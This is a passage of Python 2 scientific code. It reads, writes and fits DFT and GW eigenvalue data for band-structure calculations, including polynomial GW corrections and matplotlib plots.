%filefullpath) if not (user_input == 'y' or user_input == 'Y'): return writer = open(filefullpath,'w') writer.write('%12s%12s\n' %(self.nkpt,self.nsppol)) if gwec == None: for ikpt in range(self.nkpt): for isppol in range(self.nsppol): writer.write('%10.6f%10.6f%10.6f\n' %(self.kpoints[ikpt,0],self.kpoints[ikpt,1],self.kpoints[ikpt,2])) writer.write('%4i\n' %(bdgw[1]-bdgw[0]+1)) for iband in range(bdgw[0]-1,bdgw[1]): delta = N.polyval(polyfitlist[-1],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) for ipivot in range(len(energy_pivots)): if csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband] <= energy_pivots[ipivot]: delta = N.polyval(polyfitlist[ipivot],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) break writer.write('%6i%9.4f%9.4f%9.4f\n' %(iband+1,csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]+delta,delta,0.0)) else: for ikpt in range(self.nkpt): for isppol in range(self.nsppol): writer.write('%10.6f%10.6f%10.6f\n' %(self.kpoints[ikpt,0],self.kpoints[ikpt,1],self.kpoints[ikpt,2])) writer.write('%4i\n' %(bdgw[1]-bdgw[0]+1)) for iband in range(bdgw[0]-1,bdgw[1]): if gwec.has_eigenvalue(self.nsppol,isppol,self.kpoints[ikpt],iband): gw_eig = gwec.get_eigenvalue(self.nsppol,isppol,self.kpoints[ikpt],iband) writer.write('%6i%9.4f%9.4f%9.4f\n' %(iband+1,csts.hartree2ev*gw_eig,csts.hartree2ev*(gw_eig-self.eigenvalues[isppol,ikpt,iband]),0.0)) else: delta = N.polyval(polyfitlist[-1],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) for ipivot in range(len(energy_pivots)): if csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband] <= energy_pivots[ipivot]: delta = N.polyval(polyfitlist[ipivot],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) break writer.write('%6i%9.4f%9.4f%9.4f\n' %(iband+1,csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]+delta,delta,0.0)) writer.close() def pfit_dft_to_gw_bs_write(self,polyfitlist,directory=None,filename=None,bdgw=None,energy_pivots=None,gwec=None): if filename == None:return if directory == None:directory='.' filefullpath = '%s/%s' %(directory,filename) if (os.path.isfile(filefullpath)): user_input = raw_input('WARNING : file "%s" exists, do you want to overwrite it ? (y/n)' %filefullpath) if not (user_input == 'y' or user_input == 'Y'): return writer = open(filefullpath,'w') if gwec == None: for ikpt in range(self.nkpt): writer.write('%s' %ikpt) for isppol in range(self.nsppol): for iband in range(bdgw[0]-1,bdgw[1]): delta = N.polyval(polyfitlist[-1],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) for ipivot in range(len(energy_pivots)): if csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband] <= energy_pivots[ipivot]: delta = N.polyval(polyfitlist[ipivot],csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]) break writer.write(' %s' %(csts.hartree2ev*self.eigenvalues[isppol,ikpt,iband]+delta)) writer.write('\n') else: print 'NOT SUPPORTED YET' sys.exit() writer.close() def nc_eig_open(self,filefullpath): if not (os.path.isfile(filefullpath)): print 'ERROR : file "%s" does not exists' %filefullpath print '... exiting now ...' sys.exit() ncdata = nc.Dataset(filefullpath) self.eigenvalue_type = 'DFT' self.nsppol = None self.nkpt = None self.mband = None self.eigenvalues = None self.units = None self.filefullpath = filefullpath for dimname,dimobj in ncdata.dimensions.iteritems(): if dimname == 'nsppol':self.nsppol = N.int(len(dimobj)) if dimname == 'nkpt':self.nkpt = N.int(len(dimobj)) if dimname == 'mband':self.mband = N.int(len(dimobj)) for varname in ncdata.variables: if varname == 'Eigenvalues': varobj = ncdata.variables[varname] varshape = N.shape(varobj[:]) self.units = None for attrname in varobj.ncattrs(): if attrname == 'units': self.units = varobj.getncattr(attrname) if self.units == None: print 'WARNING : units are not specified' print '... assuming "Hartree" units ...' self.units = 'Hartree' elif self.units != 'Hartree': print 'ERROR : units are unknown : "%s"' %self.units print '... exiting now ...' sys.exit() self.eigenvalues = N.reshape(N.array(varobj,N.float),varshape) self.nsppol = varshape[0] self.nkpt = varshape[1] self.kpoints = -1*N.ones((self.nkpt,3),N.float) self.mband = varshape[2] self.bd_indices = N.zeros((self.nsppol,self.nkpt,2),N.int) self.bd_indices[:,:,0] = 1 self.bd_indices[:,:,1] = self.mband break for varname in ncdata.variables: if varname == 'Kptns': varobj = ncdata.variables[varname] varshape = N.shape(varobj[:]) self.kpoints = N.reshape(N.array(varobj,N.float),varshape) def write_bandstructure_to_file(self,filename,option_kpts='bohrm1_units'): #if option_kpts is set to 'normalized', the path of the bandstructure will be normalized to 1 (and special k-points correctly chosen) if self.kpoint_sampling_type != 'Bandstructure': print 'ERROR: kpoint_sampling_type is not "Bandstructure" ... returning from write_bandstructure_to_file' return if self.nsppol > 1: print 'ERROR: number of spins is more than 1, this is not fully tested ... use with care !' writer = open(filename,'w') writer.write('# BANDSTRUCTURE FILE FROM DAVID\'S SCRIPT\n') writer.write('# nsppol = %s\n' %self.nsppol) writer.write('# nband = %s\n' %self.mband) writer.write('# eigenvalue_type = %s\n' %self.eigenvalue_type) if self.inputgvectors: writer.write('# inputgvectors = 1 (%s)\n' %self.inputgvectors) else: writer.write('# inputgvectors = 0 (%s)\n' %self.inputgvectors) writer.write('# gvectors(1) = %20.17f %20.17f %20.17f \n' %(self.gvectors[0,0],self.gvectors[0,1],self.gvectors[0,2])) writer.write('# gvectors(2) = %20.17f %20.17f %20.17f \n' %(self.gvectors[1,0],self.gvectors[1,1],self.gvectors[1,2])) writer.write('# gvectors(3) = %20.17f %20.17f %20.17f \n' %(self.gvectors[2,0],self.gvectors[2,1],self.gvectors[2,2])) writer.write('# special_kpoints_number = %s\n' %(len(self.special_kpoints_indices))) writer.write('# list of special kpoints : (given in reduced coordinates, value_path is in Bohr^-1, value_red_path has its total path normalized to 1)\n') for ii in range(len(self.special_kpoints_indices)): ispkpt = self.special_kpoints_indices[ii] spkpt = self.special_kpoints[ii] writer.write('# special_kpt_index %5s : %20.17f %20.17f %20.17f (value_path = %20.17f | value_red_path = %20.17f)\n' %(ispkpt,spkpt[0],spkpt[1],spkpt[2],self.kpoint_path_values[ispkpt],self.kpoint_reduced_path_values[ispkpt])) writer.write('# special_kpoints_names :\n') for ii in range(len(self.special_kpoints_indices)): ispkpt = self.special_kpoints_indices[ii] spkpt = self.special_kpoints[ii] writer.write('# special_kpt_name %3s : "%s" : %20.17f %20.17f %20.17f\n' %(ii+1,self.special_kpoints_names[ii],spkpt[0],spkpt[1],spkpt[2])) writer.write('# kpoint_path_length = %20.17f \n' %(self.kpoint_path_length)) writer.write('# kpoint_path_number = %s \n' %(self.nkpt)) if self.inputgvectors: writer.write('# kpoint_path_units = %s\n' %(option_kpts)) else: writer.write('# kpoint_path_units = %s (!!! CONSIDERING UNITARY GVECTORS MATRIX !!!)\n' %(option_kpts)) writer.write('#BEGIN\n') if option_kpts == 'bohrm1_units': values_path = self.kpoint_path_values elif option_kpts == 'reduced': values_path = self.kpoint_reduced_path_values elif option_kpts == 'bohrm1_units_normalized': values_path = self.normalized_kpoint_path_values elif option_kpts == 'reduced_normalized': values_path = self.normalized_kpoint_reduced_path_values else: print 'ERROR: wrong option_kpts ... exit' writer.write('... CANCELLED (wrong option_kpts)') writer.close() sys.exit() for isppol in range(self.nsppol): writer.write('#isppol %s\n' %isppol) for iband in range(self.mband): writer.write('#iband %5s (band number %s)\n' %(iband,iband+1)) for ikpt in range(self.nkpt): writer.write('%20.17f %20.17f\n' %(values_path[ikpt],self.eigenvalues[isppol,ikpt,iband])) writer.write('\n') writer.write('#END\n') writer.write('\n#KPT_LIST\n') for ikpt in range(self.nkpt): writer.write('# %6d : %20.17f %20.17f %20.17f\n' %(ikpt,self.kpoints[ikpt,0],self.kpoints[ikpt,1],self.kpoints[ikpt,2])) writer.close() # def write_bandstructure_to_file(self,filename,option_kpts='bohrm1_units'): # #if option_kpts is set to 'normalized', the path of the bandstructure will be normalized to 1 (and special k-points correctly chosen) # if self.kpoint_sampling_type != 'Bandstructure': # print 'ERROR: kpoint_sampling_type is not "Bandstructure" ... returning from write_bandstructure_to_file' # return # if self.nsppol > 1: # print 'ERROR: number of spins is more than 1, this is not yet coded ... returning from write_bandstructure_to_file' # return # writer = open(filename,'w') # writer.write('# BANDSTRUCTURE FILE FROM DAVID\'S SCRIPT\n') # writer.write('# nsppol = %s\n' %self.nsppol) # writer.write('# nband = %s\n' %self.mband) # writer.write('# eigenvalue_type = %s\n' %self.eigenvalue_type) # if self.inputgvectors: # writer.write('# inputgvectors = 1 (%s)\n' %self.inputgvectors) # else: # writer.write('# inputgvectors = 0 (%s)\n' %self.inputgvectors) # writer.write('# gvectors(1) = %20.17f %20.17f %20.17f \n' %(self.gvectors[0,0],self.gvectors[0,1],self.gvectors[0,2])) # writer.write('# gvectors(2) = %20.17f %20.17f %20.17f \n' %(self.gvectors[1,0],self.gvectors[1,1],self.gvectors[1,2])) # writer.write('# gvectors(3) = %20.17f %20.17f %20.17f \n' %(self.gvectors[2,0],self.gvectors[2,1],self.gvectors[2,2])) # writer.write('# special_kpoints_number = %s\n' %(len(self.special_kpoints_indices))) # writer.write('# list of special kpoints : (given in reduced coordinates, value_path is in Bohr^-1, value_red_path has its total path normalized to 1)\n') # for ii in range(len(self.special_kpoints_indices)): # ispkpt = self.special_kpoints_indices[ii] # spkpt = self.special_kpoints[ii] # writer.write('# special_kpt_index %5s : %20.17f %20.17f %20.17f (value_path = %20.17f | value_red_path = %20.17f)\n' %(ispkpt,spkpt[0],spkpt[1],spkpt[2],self.kpoint_path_values[ispkpt],self.kpoint_reduced_path_values[ispkpt])) # writer.write('# special_kpoints_names :\n') # for ii in range(len(self.special_kpoints_indices)): # ispkpt = self.special_kpoints_indices[ii] # spkpt = self.special_kpoints[ii] # writer.write('# special_kpt_name %3s : "%s" : %20.17f %20.17f %20.17f\n' %(ii+1,self.special_kpoints_names[ii],spkpt[0],spkpt[1],spkpt[2])) # writer.write('# kpoint_path_length = %20.17f \n' %(self.kpoint_path_length)) # writer.write('# kpoint_path_number = %s \n' %(self.nkpt)) # if self.inputgvectors: # writer.write('# kpoint_path_units = %s\n' %(option_kpts)) # else: # writer.write('# kpoint_path_units = %s (!!! CONSIDERING UNITARY GVECTORS MATRIX !!!)\n' %(option_kpts)) # writer.write('#BEGIN\n') # if option_kpts == 'bohrm1_units': # values_path = self.kpoint_path_values # elif option_kpts == 'reduced': # values_path = self.kpoint_reduced_path_values # elif option_kpts == 'bohrm1_units_normalized': # values_path = self.normalized_kpoint_path_values # elif option_kpts == 'reduced_normalized': # values_path = self.normalized_kpoint_reduced_path_values # else: # print 'ERROR: wrong option_kpts ... exit' # writer.write('... CANCELLED (wrong option_kpts)') # writer.close() # sys.exit() # for isppol in range(self.nsppol): # writer.write('#isppol %s\n' %isppol) # for iband in range(self.mband): # writer.write('#iband %5s (band number %s)\n' %(iband,iband+1)) # for ikpt in range(self.nkpt): # writer.write('%20.17f %20.17f\n' %(values_path[ikpt],self.eigenvalues[isppol,ikpt,iband])) # writer.write('\n') # writer.write('#END\n') # writer.write('\n#KPT_LIST\n') # for ikpt in range(self.nkpt): # writer.write('# %6d : %20.17f %20.17f %20.17f\n' %(ikpt,self.kpoints[ikpt,0],self.kpoints[ikpt,1],self.kpoints[ikpt,2])) # writer.close() def read_bandstructure_from_file(self,filename): reader = open(filename,'r') bs_data = reader.readlines() reader.close() self.gvectors = N.identity(3,N.float) self.kpoint_sampling_type = 'Bandstructure' self.special_kpoints_indices = list() self.special_kpoints = list() for ii in range(len(bs_data)): if bs_data[ii] == '#BEGIN\n': ibegin = ii break elif bs_data[ii][:10] == '# nsppol =': self.nsppol = N.int(bs_data[ii][10:]) elif bs_data[ii][:9] == '# nband =': self.mband = N.int(bs_data[ii][9:]) elif bs_data[ii][:19] == '# eigenvalue_type =': self.eigenvalue_type = bs_data[ii][19:].strip() elif bs_data[ii][:17] == '# inputgvectors =': tt = N.int(bs_data[ii][18]) if tt == 1: self.inputgvectors = True elif tt == 0: self.inputgvectors = False else: print 'ERROR: reading inputgvectors ... exit' sys.exit() elif bs_data[ii][:15] == '# gvectors(1) =': sp = bs_data[ii][15:].split() self.gvectors[0,0] = N.float(sp[0]) self.gvectors[0,1] = N.float(sp[1]) self.gvectors[0,2] = N.float(sp[2]) elif bs_data[ii][:15] == '# gvectors(2) =': sp = bs_data[ii][15:].split() self.gvectors[1,0] = N.float(sp[0]) self.gvectors[1,1] = N.float(sp[1]) self.gvectors[1,2] = N.float(sp[2]) elif bs_data[ii][:15] == '# gvectors(3) =': sp = bs_data[ii][15:].split() self.gvectors[2,0] = N.float(sp[0]) self.gvectors[2,1] = N.float(sp[1]) self.gvectors[2,2] = N.float(sp[2]) elif bs_data[ii][:26] == '# special_kpoints_number =': special_kpoints_number = N.int(bs_data[ii][26:]) self.special_kpoints_names = ['']*special_kpoints_number elif bs_data[ii][:22] == '# special_kpt_index': sp = bs_data[ii][22:].split() self.special_kpoints_indices.append(N.int(sp[0])) self.special_kpoints.append(N.array([sp[2],sp[3],sp[4]])) elif bs_data[ii][:21] == '# special_kpt_name': sp = bs_data[ii][21:].split() ispkpt = N.int(sp[0])-1 self.special_kpoints_names[ispkpt] = sp[2][1:-1] elif bs_data[ii][:22] == '# kpoint_path_length =': self.kpoint_path_length = N.float(bs_data[ii][22:]) elif bs_data[ii][:22] == '# kpoint_path_number =': self.nkpt = N.int(bs_data[ii][22:]) elif bs_data[ii][:21] == '# kpoint_path_units =': kpoint_path_units = bs_data[ii][21:].strip() self.special_kpoints_indices = N.array(self.special_kpoints_indices,N.int) self.special_kpoints = N.array(self.special_kpoints,N.float) if len(self.special_kpoints_indices) != special_kpoints_number or len(self.special_kpoints) != special_kpoints_number: print 'ERROR: reading the special kpoints ... exit' sys.exit() self.kpoint_path_values = N.zeros([self.nkpt],N.float) self.kpoint_reduced_path_values = N.zeros([self.nkpt],N.float) if kpoint_path_units == 'bohrm1_units': jj = 0 for ii in range(ibegin+1,len(bs_data)): if bs_data[ii][:7] == '#isppol' or bs_data[ii][:6] == '#iband':continue if bs_data[ii] == '\n': break self.kpoint_path_values[jj] = N.float(bs_data[ii].split()[0]) jj = jj + 1 if jj != self.nkpt: print 'ERROR: reading bandstructure file ... exit' sys.exit() self.normalized_kpoint_path_values = self.kpoint_path_values/self.kpoint_path_length if kpoint_path_units == 'bohrm1_units_normalized': jj = 0 for ii in range(ibegin+1,len(bs_data)): if bs_data[ii][:7] == '#isppol' or bs_data[ii][:6] == '#iband':continue if bs_data[ii] == '\n': break self.normalized_kpoint_path_values[jj] = N.float(bs_data[ii].split()[0]) jj = jj + 1 if jj != self.nkpt: print 'ERROR: reading bandstructure file ... exit' sys.exit() self.kpoint_path_values = self.normalized_kpoint_path_values*self.kpoint_path_length elif kpoint_path_units == 'reduced_normalized': jj = 0 for ii in range(ibegin+1,len(bs_data)): if bs_data[ii][:7] == '#isppol' or bs_data[ii][:6] == '#iband':continue if bs_data[ii] == '\n': break self.normalized_kpoint_reduced_path_values[jj] = N.float(bs_data[ii].split()[0]) jj = jj + 1 if jj != self.nkpt: print 'ERROR: reading bandstructure file ... exit' sys.exit() self.kpoint_reduced_path_values = self.normalized_kpoint_reduced_path_values/self.kpoint_reduced_path_length elif kpoint_path_units == 'reduced': jj = 0 for ii in range(ibegin+1,len(bs_data)): if bs_data[ii][:7] == '#isppol' or bs_data[ii][:6] == '#iband':continue if bs_data[ii] == '\n': break self.kpoint_reduced_path_values[jj] = N.float(bs_data[ii].split()[0]) jj = jj + 1 if jj != self.nkpt: print 'ERROR: reading bandstructure file ... exit' sys.exit() self.normalized_kpoint_reduced_path_values = self.kpoint_reduced_path_values/self.kpoint_reduced_path_length self.eigenvalues = N.zeros([self.nsppol,self.nkpt,self.mband],N.float) check_nband = 0 for ii in range(ibegin+1,len(bs_data)): if bs_data[ii][:7] == '#isppol': isppol = N.int(bs_data[ii][7:]) elif bs_data[ii][:6] == '#iband': iband = N.int(bs_data[ii][6:].split()[0]) ikpt = 0 elif bs_data[ii][:4] == '#END': break elif bs_data[ii] == '\n': check_nband = check_nband + 1 else: self.eigenvalues[isppol,ikpt,iband] = N.float(bs_data[ii].split()[1]) ikpt = ikpt + 1 def check_gw_vs_dft_parameters(dftec,gwec): if gwec.eigenvalue_type != 'GW' or dftec.eigenvalue_type != 'DFT': print 'ERROR: eigenvalue files do not contain GW and DFT eigenvalues ... exiting now' sys.exit() if dftec.nsppol != gwec.nsppol or dftec.nkpt != gwec.nkpt: print 'ERROR: the number of spins/kpoints is not the same in the GW and DFT files used to make the interpolation ... exiting now' sys.exit() for ikpt in range(dftec.nkpt): if N.absolute(dftec.kpoints[ikpt,0]-gwec.kpoints[ikpt,0]) > csts.TOLKPTS or \ N.absolute(dftec.kpoints[ikpt,1]-gwec.kpoints[ikpt,1]) > csts.TOLKPTS or \ N.absolute(dftec.kpoints[ikpt,2]-gwec.kpoints[ikpt,2]) > csts.TOLKPTS: print 'ERROR: the kpoints are not the same in the GW and DFT files used to make the interpolation ... exiting now' sys.exit() def classify_eigenvalues(eigarray,energy_pivots,eig2array=None): eigarray_list = list() if eig2array != None: eig2array_list = list() for iinterval in range(len(energy_pivots)+1): print iinterval,' : ' tmpeigarray = N.array([],N.float) tmpeig2array = N.array([],N.float) if iinterval == 0: emin = None emax = energy_pivots[0] print emin,emax for ii in range(len(eigarray)): if eigarray[ii] <= emax: tmpeigarray = N.append(tmpeigarray,[eigarray[ii]]) tmpeig2array = N.append(tmpeig2array,[eig2array[ii]]) elif iinterval == len(energy_pivots): emin = energy_pivots[-1] emax = None print emin,emax for ii in range(len(eigarray)): if eigarray[ii] >= emin: tmpeigarray = N.append(tmpeigarray,[eigarray[ii]]) tmpeig2array = N.append(tmpeig2array,[eig2array[ii]]) else: emin = energy_pivots[iinterval-1] emax = energy_pivots[iinterval] print emin,emax for ii in range(len(eigarray)): if eigarray[ii] >= emin and eigarray[ii] <= emax: tmpeigarray = N.append(tmpeigarray,[eigarray[ii]]) tmpeig2array = N.append(tmpeig2array,[eig2array[ii]]) eigarray_list.append(tmpeigarray) eig2array_list.append(tmpeig2array) return eigarray_list,eig2array_list else: for iinterval in range(len(energy_pivots)+1): tmpeigarray = N.array([],N.float) if iinterval == 0: emin = None emax = energy_pivots[0] for ii in range(len(eigarray)): if eigarray[ii] <= emax: tmpeigarray = N.append(tmpeigarray,[eigarray[ii]]) elif iinterval == len(energy_pivots): emin = energy_pivots[-1] emax = None for ii in range(len(eigarray)): if eigarray[ii] >= emin: tmpeigarray = N.append(tmpeigarray,[eigarray[ii]]) else: emin = energy_pivots[iinterval-1] emax = energy_pivots[iinterval] for ii in range(len(eigarray)): if eigarray[ii] >= emin and eigarray[ii] <= emax: tmpeigarray = N.append(tmpeigarray,[eigarray[ii]]) eigarray_list.append(tmpeigarray) return eigarray_list def plot_gw_vs_dft_eig(dftec,gwec,vbm_index,energy_pivots_up=None,energy_pivots_down=None,polyfit_degrees_up=None,polyfit_degrees_down=None,limitpoints=None,spinchoice=None,smooth_end=True,smooth_energy=None,smooth_delta_energy=None): DELTA_ENERGY_END = 2.0 if gwec.eigenvalue_type != 'GW' or dftec.eigenvalue_type != 'DFT': print 'ERROR: eigenvalue containers do not contain GW and DFT eigenvalues ... exiting now' sys.exit() if dftec.nsppol != gwec.nsppol or dftec.nkpt != gwec.nkpt: print 'ERROR: the number of spins/kpoints is not the same in the GW and DFT containers ... exiting now' sys.exit() if dftec.nsppol == 1: spinchoice = 'common' valdftarray = N.array([],N.float) conddftarray = N.array([],N.float) valgwarray = N.array([],N.float) condgwarray = N.array([],N.float) if dftec.nsppol == 2 and spinchoice == 'separate': upvaldftarray = N.array([],N.float) upconddftarray = N.array([],N.float) upvalgwarray = N.array([],N.float) upcondgwarray = N.array([],N.float) downvaldftarray = N.array([],N.float) downconddftarray = N.array([],N.float) downvalgwarray = N.array([],N.float) downcondgwarray = N.array([],N.float) if spinchoice == None or spinchoice == 'common': for ikpt in range(dftec.nkpt): for isppol in range(dftec.nsppol): ibdmin = N.max([dftec.bd_indices[isppol,ikpt,0],gwec.bd_indices[isppol,ikpt,0]])-1 ibdmax = N.min([dftec.bd_indices[isppol,ikpt,1],gwec.bd_indices[isppol,ikpt,1]])-1 valdftarray = N.append(valdftarray,csts.hartree2ev*dftec.eigenvalues[isppol,ikpt,ibdmin:vbm_index]) valgwarray = N.append(valgwarray,csts.hartree2ev*gwec.eigenvalues[isppol,ikpt,ibdmin:vbm_index]) conddftarray = N.append(conddftarray,csts.hartree2ev*dftec.eigenvalues[isppol,ikpt,vbm_index:ibdmax+1]) condgwarray = N.append(condgwarray,csts.hartree2ev*gwec.eigenvalues[isppol,ikpt,vbm_index:ibdmax+1]) elif spinchoice == 'separate': for ikpt in range(dftec.nkpt): isppol = 0 ibdmin = N.max([dftec.bd_indices[isppol,ikpt,0],gwec.bd_indices[isppol,ikpt,0]])-1 ibdmax = N.min([dftec.bd_indices[isppol,ikpt,1],gwec.bd_indices[isppol,ikpt,1]])-1 upvaldftarray = N.append(upvaldftarray,csts.hartree2ev*dftec.eigenvalues[isppol,ikpt,ibdmin:vbm_index]) upvalgwarray = N.append(upvalgwarray,csts.hartree2ev*gwec.eigenvalues[isppol,ikpt,ibdmin:vbm_index]) upconddftarray = N.append(upconddftarray,csts.hartree2ev*dftec.eigenvalues[isppol,ikpt,vbm_index:ibdmax+1]) upcondgwarray = N.append(upcondgwarray,csts.hartree2ev*gwec.eigenvalues[isppol,ikpt,vbm_index:ibdmax+1]) isppol = 1 ibdmin = N.max([dftec.bd_indices[isppol,ikpt,0],gwec.bd_indices[isppol,ikpt,0]])-1 ibdmax = N.min([dftec.bd_indices[isppol,ikpt,1],gwec.bd_indices[isppol,ikpt,1]])-1 downvaldftarray = N.append(downvaldftarray,csts.hartree2ev*dftec.eigenvalues[isppol,ikpt,ibdmin:vbm_index]) downvalgwarray = N.append(downvalgwarray,csts.hartree2ev*gwec.eigenvalues[isppol,ikpt,ibdmin:vbm_index]) downconddftarray = N.append(downconddftarray,csts.hartree2ev*dftec.eigenvalues[isppol,ikpt,vbm_index:ibdmax+1]) downcondgwarray = N.append(downcondgwarray,csts.hartree2ev*gwec.eigenvalues[isppol,ikpt,vbm_index:ibdmax+1]) if energy_pivots_up == None: if plot_figures == 1: if dftec.nsppol == 2: P.figure(1,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(upvaldftarray,upvalgwarray,'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(upconddftarray,upcondgwarray,'rx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues - spin UP (in eV)') P.ylabel('GW eigenvalues (in eV)') P.figure(2,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(downvaldftarray,downvalgwarray,'bo',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(downconddftarray,downcondgwarray,'ro',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues - spin UP (in eV)') P.ylabel('GW eigenvalues (in eV)') else: P.figure(1,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(valdftarray,valgwarray,'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(conddftarray,condgwarray,'rx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues (in eV)') P.ylabel('GW eigenvalues (in eV)') if dftec.nsppol == 2: P.figure(3,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(upvaldftarray,upvalgwarray-upvaldftarray,'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(upconddftarray,upcondgwarray-upconddftarray,'rx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues - spin UP (in eV)') P.ylabel('GW correction to the DFT eigenvalues (in eV)') P.figure(4,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(downvaldftarray,downvalgwarray-downvaldftarray,'bo',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(downconddftarray,downcondgwarray-downconddftarray,'ro',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues - spin DOWN (in eV)') P.ylabel('GW correction to the DFT eigenvalues (in eV)') else: P.figure(2,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(valdftarray,valgwarray-valdftarray,'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(conddftarray,condgwarray-conddftarray,'rx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues(in eV)') P.ylabel('GW correction to the DFT eigenvalues (in eV)') P.show() return if spinchoice == None or spinchoice == 'common': polyfitlist = list() if len(polyfit_degrees_up) == 1: print 'ERROR: making a fit with only one interval is not allowed ... exiting now' sys.exit() dftarray = N.append(valdftarray,conddftarray) gwarray = N.append(valgwarray,condgwarray) dftarray_list,gwarray_list = classify_eigenvalues(dftarray,energy_pivots_up,gwarray) for iinterval in range(len(polyfit_degrees_up)): tmpdftarray = dftarray_list[iinterval] tmpgwarray = gwarray_list[iinterval] if len(tmpdftarray) > 0: if limitpoints == 'least-squares' or (polyfit_degrees_up[iinterval] <= 0 and iinterval != len(polyfit_degrees_up)-1): pfit = N.polyfit(tmpdftarray,tmpgwarray-tmpdftarray,N.abs(polyfit_degrees_up[iinterval])) elif limitpoints == 'least-squares_last-fixed': if iinterval == len(polyfit_degrees_up)-1: idftmin = N.argmin(tmpdftarray) idftmax = N.argmax(tmpdftarray) igwmin = N.argmin(tmpgwarray) igwmax = N.argmax(tmpgwarray) if idftmin == igwmin: myimin = idftmin else: print 'COMMENT: the minimum for DFT and GW are not the same for band group #%s' %(iinterval+1) print ' => the gw minimum is taken' myimin = igwmin pfit = polynd_a(tmpdftarray,tmpgwarray-tmpdftarray,polyfit_degrees_up[iinterval],indices=[myimin]) else: pfit = N.polyfit(tmpdftarray,tmpgwarray-tmpdftarray,N.abs(polyfit_degrees_up[iinterval])) elif limitpoints == 'endpoints-fixed' or limitpoints == 'endpoints-fixed_last-flat': idftmin = N.argmin(tmpdftarray) idftmax = N.argmax(tmpdftarray) igwmin = N.argmin(tmpgwarray) igwmax = N.argmax(tmpgwarray) if idftmin == igwmin: myimin = idftmin else: print 'COMMENT: the minimum for DFT and GW are not the same for band group #%s' %(iinterval+1) print ' => the gw minimum is taken' myimin = igwmin if iinterval == len(polyfit_degrees_up)-1: if limitpoints == 'endpoints-fixed': pfit = polynd_a(tmpdftarray,tmpgwarray-tmpdftarray,polyfit_degrees_up[iinterval],indices=[myimin]) elif limitpoints == 'endpoints-fixed_last-flat': pfit = [N.polyval(polyfitlist[-1],energy_pivots_up[-1])] else: if idftmax == igwmax: myimax = idftmax else: print 'COMMENT: the maximum for DFT and GW are not the same for band group #%s' %(iinterval+1) print ' => the gw maximum is taken' myimax = igwmax pfit = polynd_ab(tmpdftarray,tmpgwarray-tmpdftarray,polyfit_degrees_up[iinterval],indices=[myimin,myimax]) else: pfit = None polyfitlist.append(pfit) if smooth_end: if smooth_energy == None: smoothenergy = N.max(dftarray) else: smoothenergy = smooth_energy smoothdeltaenergy = None if smooth_delta_energy != None: smoothdeltaenergy = smooth_delta_energy oldpolyfitlist = list(polyfitlist) oldenergypivots = N.array(energy_pivots_up) energy_pivots_up,polyfitlist = smoothend(energy_pivots_up,polyfitlist,smoothenergy,delta_energy_ev=smoothdeltaenergy) dftarray_list,gwarray_list = classify_eigenvalues(dftarray,energy_pivots_up,gwarray) if plot_figures == 1: linspace_npoints = 200 valpoly_x = N.linspace(N.min(valdftarray),N.max(valdftarray),linspace_npoints) condpoly_x = N.linspace(N.min(conddftarray),N.max(conddftarray),linspace_npoints) P.figure(3,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) P.plot(valdftarray,valgwarray-valdftarray,'bx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.plot(conddftarray,condgwarray-conddftarray,'rx',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) [x_min,x_max] = P.xlim() [y_min,y_max] = P.ylim() if smooth_end: x_max = energy_pivots_up[-1]+DELTA_ENERGY_END for iinterval in range(len(polyfitlist)): if iinterval == 0: tmppoly_x = N.linspace(x_min,energy_pivots_up[iinterval],linspace_npoints) elif iinterval == len(polyfitlist)-1: tmppoly_x = N.linspace(energy_pivots_up[iinterval-1],x_max,linspace_npoints) else: tmppoly_x = N.linspace(energy_pivots_up[iinterval-1],energy_pivots_up[iinterval],linspace_npoints) if polyfitlist[iinterval] != None: P.plot(tmppoly_x,N.polyval(polyfitlist[iinterval],tmppoly_x),'k',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) for ipivot in range(len(energy_pivots_up)): en = energy_pivots_up[ipivot] if polyfitlist[ipivot] != None and polyfitlist[ipivot+1] != None: P.plot([en,en],[N.polyval(polyfitlist[ipivot],en),N.polyval(polyfitlist[ipivot+1],en)],'k-.',markersize=csts.markersize,markeredgewidth=csts.markeredgewidth) P.xlabel('DFT eigenvalues (in eV)') P.ylabel('GW correction to the DFT eigenvalues (in eV)') P.ylim([y_min,y_max]) P.figure(4,figsize=(csts.fig_width,csts.fig_height)) P.hold(True) P.grid(True) for iinterval in range(len(polyfitlist)): if polyfitlist[iinterval] != None: 